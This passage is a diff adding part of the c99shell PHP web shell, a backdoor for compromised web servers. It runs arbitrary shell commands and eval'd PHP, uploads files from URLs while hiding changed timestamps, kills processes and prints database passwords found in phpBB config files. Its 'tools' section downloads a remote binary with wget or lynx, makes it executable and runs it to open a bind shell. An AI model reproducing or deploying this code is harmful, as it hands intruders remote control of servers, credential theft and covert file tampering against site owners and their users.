+ echo "
+
+Search for (file/folder name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps -aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ echo "Result of execution this command : ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= " ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = " ".$checkbox;}
+ else {$row[] = " ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+if ($act == "tools")
+{
+
+
+
+
+
+
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...";
+}
+if (!empty($_GET['dolma']))
+{
+$sayko=htmlspecialchars($_GET['dolma']);
+if ($sayko == "wgetcan")
+{
+
+myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind");
+
+
+}
+
+else if ($sayko =="freadcan")
+{
+dosyayicek($adires,"sayko_bind");
+myshellexec("./sayko_bind");
+}
+
+else if ($sayko == "lynxcan")
+{
+myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind");
+
+}
+
+
+
+
+
+}
+
+if (!empty($_POST['erorr']))
+{
+
+
+
+error_log($_POST['erorr'], 3, "php://".$_POST['nere']);
+
+
+
+}
+
+
+
+
+
+
+
+
+
+}
+if ($act == "processes")
+{
+ echo "Processes: ";
+ if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array(" ","info"),
+ array(" ","html"),
+ array(" ","txt"),
+ array("Code","code"),
+ array("Session","phpsess"),
+ array(" ","exe"),
+ array("SDB","sdb"),
+ array(" ","img"),
+ array(" ","ini"),
+ array(" ","download"),
+ array(" ","notepad"),
+ array(" ","edit")
+ );
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+ $images = array(
+"arrow_ltr"=>
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
+"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+"back"=>
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
+"Wg0JADs=",
+"buffer"=>
+"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
+"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
+"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
+"change"=>
+"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
+"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
+"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
+"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
+"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu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XTP38przWbX3qgIADs=",
+"forward"=>
+"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+"WqsJADs=",
+"home"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
+"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
+"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
+"mode"=>
+"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
+"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
+"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
+"refresh"=>
